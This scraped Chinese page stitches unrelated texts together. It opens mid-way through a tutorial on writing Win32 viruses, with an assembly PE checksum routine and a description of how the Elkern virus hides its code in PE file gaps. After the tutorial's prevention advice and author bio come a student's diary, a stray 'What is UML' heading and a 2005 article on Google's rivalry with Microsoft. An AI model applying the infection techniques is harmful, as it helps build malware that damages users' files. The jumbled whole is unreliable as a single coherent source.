;call cal_checksum
cal_checksum:
adc bp,word [esi] ;初始esi指向文件头,ebx中保存的是文件大小
inc esi
inc esi
loop cal_checksum
mov ebx,[esp+4]
adc ebp,ebx ;ebp中存放的就是PE的校验和
ret 4
除了PE头部的校验和之外,很多程序自身也有校验模块,如Winzip和Winrar的自解压文件,如果被感染,将造成无法正常解压缩。因此对于类似的PE文件,病毒应尽量不予感染。
Elkern中感染文件修改文件相关的代码在infect.asm中,该病毒首先尽可能地利用PE的头部和节的间隙存储自身代码,若所有间隙仍不足以存放病毒代码,则附加到最后一个节上,限于篇幅相关代码从略,感兴趣的读者请自行参阅。
其实,完成了上述功能的代码片断就已经是一个简单的病毒了,不管是用汇编语言、C语言或是python语言编写的。但这些远不是病毒技术的全部。在病毒和反病毒对抗的数十年中,伴随着反病毒技术的进步,病毒技术也在不断进步着,Win32下的内存驻留感染技术、抗分析技术、EPO技术、多态技术、变形技术等限于篇幅都还没有介绍,无论如何,那都是下篇的内容了。
* 思考与防范
病毒技术源自编程实践,但又无所不用其极,包含了相当多的编程技巧,如果我们善于借鉴,其中的很多技巧都可用于解决常见的编程难题。此外知己知彼,才能在病毒出现时冷静沉着应对,分析其机制,找到更好的解决之道。作为用户,了解病毒的机制对于选择合适的反病毒产品和方案也是非常有帮助的。
防范病毒,从用户角度除了使用杀毒软件定期查毒之外,谨慎地下载或执行未知的程序,提高警觉也是非常重要的。
病毒已经不再单纯是一种展示高超编程技巧的手段了,而被越来越多的领域赋予了其它的如经济、有时甚至是政治的含义。防范病毒,作为负责的程序员,应首先不编写病毒、传播病毒,一切从我做起。
* 参考文献
[1] The PE file format ,LUEVELSMEYER
[2] Microsoft Portable Executable and Common Object File Format Specification ,Microsoft Corp.
[3] An In-Depth Look into the Win32 Portable Executable File Format , Matt Pietrek
[4] 29A issue7
作者简介
温玉杰,男,现从事网络安全工作。主要研究领域为恶意代码、逆向工程、人工智能、编译理论、底层安全技术等。曾与罗云彬合译《intel汇编语言程序设计》,与人合著《软件加密技术内幕》等。
写在大三开学初……
匆匆忙忙地从珠海校区搬来广州,经过两个月无聊的暑假,大三就静悄悄地走进了我的生活。
学院发下新书,看了看。宿舍隔壁的研究生宿舍有很多人打我喜欢的乒乓球,也经常拿了拍子过去一起消遣。广州校区这边的风景不错,也会经常在校园内游荡。一切的生活就像我预想的一样,无聊和平静地进行着,没有激情,也没有别人那种对生活厌恶的感觉。一句话,一切都四平八稳地进行着。
班长有一天提起奖学金的评选活动,我才想起,一年一度的奖学金评选又开始了。大一的时候拿了一千多块钱爽了一下,但是我知道,这次的评选已经和我没有什么关系了。我突然想起我大二上学期的成绩是多么的样衰,倒不是因为我学得不好,其实我个人认为,我还是掌握得不错的,但是成绩出来之后,一切都在莫名其妙中没有办法更改了。或许这是老师的问题,但是同样有我的责任。很多时候人总是认为自己做得很好,但是结果出来却经常不如意,类似这样的事情我已经经历过很多了。
大二上学期成绩的一塌糊涂让我改变了下学期的计划,大二的下学期我看了很多杂书,技术类的,文学类的,还有很多不知道应该归为什么类的。这学期真的过得很开心,因为我真的已经很久没有这么自由地去做自己想做的事情了。以前都顾着功课,想着怎么样才能把分数拉上去,但是自己就从来没有想过,到底什么才是真正适合自己的。这个学期我看了很多的文学巨著,每一部都让我感到莫名的感动,儿时对文学的执着重新在我的心灵深处跳了出来,张牙舞爪,很惬意的一件事情。这学期的成绩也不算太好,可能在班里面算中等偏上吧,但是我总是觉得,我得到的东西一定会比别人多。可能我在功课方面失去了很多,但是我在其他方面得到了更多。人不能太贪心,在一方面获取,总要以另一方面的丧失为代价的。如何在获取与丧失之间取一个平衡点,这或许是我一生要思考的问题。
大三了……老豆说,阿仔,是时候考虑考研究生了事情了哦。叔叔说,靓仔,有没有留校的意思啊?我笑了,很感谢身边的人对我这样关心,但是我的人生还是应该由我自己来设计的。很多东西在别人的眼中非常美好,但是在我看来,或许会显得很一般。相反,一些在别人眼中微不足道甚至有辱门面的事情,我却觉得很有意思。我是个很随性的人,我会用我的半辈子来思索,什么才是我喜欢的生活。
大二的沉沦,能换来大三的辉煌吗??这是我现在比较想说的一句话。虽然我个人对成绩已经不是很在意了,但是父母给我供书教学,我有责任给他们一个交代。做人要有责任感,要有信用,这是我整天和别人说的话。
什么是UML
Google欲图霸主位置 微软桌面神话可能终结
直到28日,华盛顿州地方法院发布一项临时禁令,禁止李开复在Google从事如网络和桌面搜索技术等这些与微软相竞争的领域后,这场在IT业界引起轩然大波的跳槽事件才终于告一段落。
但是,这绝不是一向高居软件霸主地位的微软的高级管理人员和核心研发人员被Google挖走的最新一例。
在此之前,Google还从贝尔实验室挖走了Unix和C语言的创始人之一的KenThompson,2005年又把Mozilla Firefox浏览器的首席开发人员Ben Goodger收入麾下。至今,Google已经招收了大量高水平的Java程序员和操作系统开发人员,其中包括数名微软的核心开发工程师。
近两三年,Google做了一些看上去和互联网搜索扯不上关系的事情。2003年2月,Google收购了全球最大的Blog服务商Blogger.com;2003年11月,Google收购了一家SNS(网络社区服务)公司Orkut.com;2004年,Google开始测试2G的E-mail系统Gmail.com,并于4月份注册了域名gbrowser.com。同年,Google发布即时通信工具Hello。
这些看似和互联网搜索无关的事件,矛头所向,却直指微软的霸主位置,搅得这家全球最大的软件公司坐立不安,人心浮动。
愤怒的微软,也许再也没有办法冷静下来。Google这家和微软比起来资历尚浅的公司,正推动着一场巨大的技术与应用的变革,这场变革迅速演变成全球最大的软件公司与互联网搜索公司核心业务的激烈碰撞。从桌面搜索、Web电邮到即时通信,除了Windows操作系统本身和Office办公软件以外,战火几乎蔓延到了其它所有与互联网相关的应用领域。Windows帝国创造的那段史诗般的桌面神话,会不会继续神话下去,也因此被打上了一个重重的问号。
抢夺桌面
让微软感到不安的,正是Google凭借对互联网搜索的垄断地位开始大举入侵自己的桌面地盘。
2003年12月,Google Deskbar将战火从互联网引到了Windows的桌面。Deskbar在Windows桌面的任务栏上巧妙地放置了一个Google搜索框,让用户不需要打开浏览器就能搜索网络。电脑用户使用“全球指令键(control+alt+g)”,不管是Word文档、E-mail,还是Web页面,就可以对从桌面到互联网中的任何文档进行搜索。
Google Deskbar明显的意图就是要引导目前与今后电脑用户的日常工作流程和使用习惯,虽然用户还习惯于使用Windows操作系统和Office办公软件,但如果想要查找信息,搜索的方式已经不再是先打开IE浏览器,然后登陆搜索网站键入关键字才能进行搜索,Google搜索无论从查询方式还是浏览结果都完全成为Windows桌面的一部分。
不仅如此,Google互联网搜索的收入主要来源于AdSense广告系统,如果这个系统在桌面运行,就意味着微软依靠捆绑销售来打击对手的战略对于Google失去了作用。电脑用户可以免费在桌面上使用Google桌面搜索工具,借此广告商蜂拥进入Windows桌面,而钱却落入了Google的腰包。
多年以来,微软一直在打造一个通用的软件平台。在1995年,微软通过捆绑销售的策略击败Netscape后,整个Windows系列的软件逐渐演化成一个向网络应用方向发展的软件生态系统。在这个生态系统内,依靠Windows操作系统和Office办公软件超过90%的市场占有率,微软逐步建立起了以IE浏览器为核心的各种网络应用环境。
但是一个显而易见的事实是,Google所提供的诸多服务,已经渐渐可以取代Windows桌面上软件,而且提供的服务不仅限于Windows操作系统,无论是Linux还是Max OS,甚至用PDA或者智能手机,只要你能上网,有浏览器,Google的服务就无处不在。Google占领了桌面,也就卷走了用户,这对微软来说几乎构成了致命的威胁,因为Google让电脑用户脱离了Windows桌面的控制,而在桌面以外的世界,微软不是一个强者。
说到底,Google所在意的是Windows桌面生态系统中庞大的用户群和市场份额。而在互联网规模与应用极大发展的今天,一个以浏览器和Web服务为核心的互联网生态系统已经逐渐形成。所有的桌面应用正在向互联网应用高速进化,Windows桌面生态系统是首当其冲的利失者。
互联网生态系统其实也不是什么新的概念,在上世纪90年代后期Netscape公司的创始人Marc Andreeson就大胆预测有一天Netscape会代替Windows成为缺省的用户界面。让Netscape可以在所有平台上运行,而所有应用程序都将成为网络应用程序,Windows桌面不过是网络应用的一个功能而已。
遗憾的是当时比尔-盖茨低估了网络的发展前景,1995年得以让Netscape公司轻松上市,结果到同年12月Netscape股价已高达每股120美元,总市值超过60亿美元,Netscape浏览器几乎占领了整个浏览器市场,而所有的大型服务器上都运行着Netscape的服务端软件,Windows操作系统几乎沦为客户端软件的代名词。比尔-盖茨这才意识到互联网正在主导产业的发展趋势,IE浏览器绝不仅是微软所发布的一个普通应用软件那么简单。
这种情况的出现,也正是现在一提到Google要开发Google浏览器,微软就后背发凉的根本原因。随着互联网的急速发展,个人电脑与桌面应用也终将汇入这股融合的洪流中,这股融合洪流的暴发在当时就已经埋下了种子。
如今,Google现在的行为越来越不像一家互联网搜索公司,反而更像一个软件公司。Google开始给各种网络应用贴上Google标签,电脑用户可以通过Google访问世界各大图书馆,通过Froogle来进行Google购物,登录Google news看新闻或者使用Google Blogger来写日记,管理自己的数码照片或用容量达到2G的Google电邮来收发邮件。
Google要做的,就是要建立一个以Google搜索为核心的生态系统,而无论是Google桌面搜索,还是Froogle购物或者是Google新闻,都是要将Windows桌面包围起来,蚕食它的市场份额。如果微软的产品线因此而被迫收缩到仅仅是Windows操作系统和Office办公软件,那在整个互联网生态圈内,微软只能扮演基础软件提供者的尴尬角色。
可以这么说,微软当年打败Netscape的一个重要因素,是微软捆绑了IE浏览器和Windows操作系统,极大地加强了电脑用户对微软桌面的依赖性,无论是上网还是其它应用,都在功能丰富的桌面上完成。凭借这一点,微软在很长一段时间里,一直引导着电脑用户使用互联网的方式和需求。
但是,当年Marc Andreeson那次“Windows桌面不过是网络应用的一个功能而已”的大胆预测,在现在看来无疑佐证了微软的这种做法除了巩固桌面帝国之外,并没有其他的作用,反而让微软错过了进军互联网的最好时机。
艰难的反击
当然,微软不是第一次面对挑战了。这家从上世纪90年代起就一直处于高速发展的公司,凭借Windows系统的垄断地位在其它领域开疆拓土大搞圈地运动。“包围再扩展(embrace and extinguish)”已经成为微软应对竞争者经典的不变战略方针。但是,这次微软不是包围者,而是突围者。
2000年6月,微软匆忙推出了.NET计划。“.NET”就是一切皆网络的意思。微软的意图很明显,这个巨人要重新制定游戏规则,把桌面和互联网都握在手中。同年,微软CEO鲍尔默在中国以“下一代互联网”为主题进行了演讲。鲍尔默自信地说:“这是一场变革,.NET战略就是要将微软所开发的各种软件与互联网紧密结合起来,目的是简化各种计算设备之间的信息共享与交换,微软也将借此把业务重点转移到互联网上,期望实现从一个软件公司向一个服务公司的转变。”
然而,当时就有评论认为,整个.NET计划太庞大、太超前,即使微软这样的巨人也无法去承载这样的巨变。时至今天,除了铺天盖地的广告攻势和绚丽的技术概念以外,宏伟的.NET计划终于还是没有兑现。整个.NET计划的低俗表现,给Windows帝国蒙上了一层阴影。
2005年2月,微软推出了基于MSN搜索的网络搜索服务。MSN网络搜索以10种语言发布,并发布了对应的桌面搜索工具,这项新服务看上去非常有特色,不但可以和微软的Encarta电子百科全书软件配套使用,还可以为搜索者的特定问题直接给出答案。
尽管比尔-盖茨在6月份极力鼓吹MSN搜索将可以和Google搜索一试高下,但先行者的地位仍然无法动摇。据艾瑞市场咨询(iResearch)的报告显示,2005年6月美国的网络搜索市场份额中,Google的市场份额已经从去年12月的37%增长到了52%,而MSN仅占10%。
在微软产品的另一条线上,从2001年10月发布后版本就没有发生过变化的IE6.0浏览器也战事不断。去年年底,致力于开源项目的Mozilla基金会发布了Mozilla/Firefox浏览器。Firefox发布的前6天就获得了突破百万的下载量。
据美国网络跟踪公司Net Applications2005年7月发表的研究报告,微软IE浏览器的市场份额每个月下降0.5%至1%,到今年6月份Firefox浏览器的市场份额已经达到了8.71%。NetApplications的调查数据来源于全球范围内网站所跟踪到的浏览器实际使用情况,这对于一直想要把电脑用户钉在桌面上的微软来说,无疑是一个巨大的打击。
然而,更大的一个打击是,Firefox的技术总监Ben Goodger今年年初加盟Google。这立刻让人想起Google在去年注册了gbrowser.com的域名。明显的结论是,微软桌面上最强的网络工具IE浏览器也将面对Google浏览器的威胁。
这里还有一个讽刺的细节,IE自己也被贴了一个Firefox的标签。你只要打开IE的“帮助”,就会看到:“本软件是在NCSA Mosaic的基础上完成的。NCSAMosaic(TM)由位于Urbana-Champaign的伊利诺斯大学的超级计算机应用程序国家中心(NCSA)开发。”
这个NCSAMosaic浏览器是1993年X-Windows系统上最早的浏览器,也正是Netscape浏览器的前身,它们都是Netscape公司的创始人Marc Andreessen发明的。1998年,Netscape败北浏览器市场,AOL出价42亿美元巨资收购Netscape。1999年,在AOL的资助下,Netscape以Mozilla.org开发源码的形式发布。随后2003年AOL将这个项目捐献给Mozilla基金会组织,而现在蚕食IE市场的,正是Mozilla基金会发布的Firefox浏览器。
下一个神话
Google的名字来源于数学中的一个术语“googol”,意思是一个“1”后面跟随100个“0”。这个数字比宇宙中所有的粒子的总数还大。
Microsoft的名字里有一个Micro,这个词代表的是“无穷小”的概念,这恰好和Google的“无穷大”成了一组绝妙的组合,也许它们将永远的无穷大或者无穷小下去,下一个神话永远还是未知的。
如果Google推出了自己的gbrowser浏览器,这就无法避免它将集成Google搜索这样的服务,并可能在其中加入一些另外像Gmail及Googleblog的功能。gbrowser甚至还可能设计成为一个通用的用户界面并用于Google OS(Google操作系统)以取代Windows的位置。
而这一切组合起来,仿佛预示着当年Netscape想要全力打造的“以浏览器为中心的互联网操作系统”即将成为可能。
2003年,在世界搜索大会上,Google展示一个超大文件系统(Google FileSystem),这个系统可以将千万计算机连接起来,组成巨大的网络硬盘。这种超大文件系统很有可能构成Google OS的文件存储基础。另外,Google开始提供“Google计算”工具的下载,尝试将分散的个人电脑统一起来,进行分布式网格计算。
还有一些Google的技术狂热者称,Google可以造一台真正的电脑——Google PC,甚至Google Office也不是什么遥不可及的事。他们坚定地认为,下一个时代是属于互联网的,而Google将会替代微软。
也许,在一个时期鼎盛的公司,无法在下一个世纪续写神话。但是,在比尔-盖茨经典的、蒙娜丽莎式的微笑背后,透射出100多年前的哲学家尼采的超人哲学:“历史是由少数的超人来推动的。”凭借Windows操作系统的垄断地位和380亿美元的现金储备,微软拥有绝对的自信去创造历史。
太平洋标准时间2005年7月22日清晨6点,微软正式宣布代号为Longhorn的“下一代Windows操作系统Vista”测试版发布。按照微软的时间表,Vista正式版本发布的时间是2006年11月,但从Vista测试版的新特性来看,这一Windows版本清晰地表明了微软要做下一个时代霸主的决心。
在Vista的新特性中,桌面和浏览器的概念变得非常的模糊,去年3月,笔者有幸参加微软中国高校俱乐部的一个Longhorn开发体验项目。当时,我们惊讶地发现,整个桌面的概念已经消失了,或者可以说整个Longhorn操作系统就是一个浏览器。通过一种叫XAML(可扩展应用程序标记语言)的新技术,开发人员可以用XAML来完成传统Windows程序,也可以用XAML完成Web应用。所有的应用程序都可以使用XAML来撰写UI(User Interface),就如同现在浏览器使用HTML来定义显示内容—样。
同时,微软的下一代办公软件Office l2将会集成从MSN搜索、即时通信到VOIP的更多网络应用功能。另外,Vista正式版中将会把搜索的概念深深集成到操作系统内核中,这种叫做WinFS的存储系统也许是Windows抗衡Google搜索的最后一招。
但是,XAML和WinFS是微软专用的技术,Officel2是Windows系统的软件。这也就注定了这个软件巨人想要把所有的战争都引到Windows桌面来进行,如果微软能成功,那也许就能续写神话。
不过,Google并不会让微软走得如此轻松,越来越多的微软核心开发人员被Google挖走,其中包括Windows系统首席架构师Marc Lucovsky和Vista的WinFS系统核心研发人员Joe Beda。
记得原微软高级副总裁李开复曾说过:“软件是一个过去的时代,Web服务将要来临。我们赌的未来就是Web服务。”但是,李博士已经选择离开了微软,去了Google。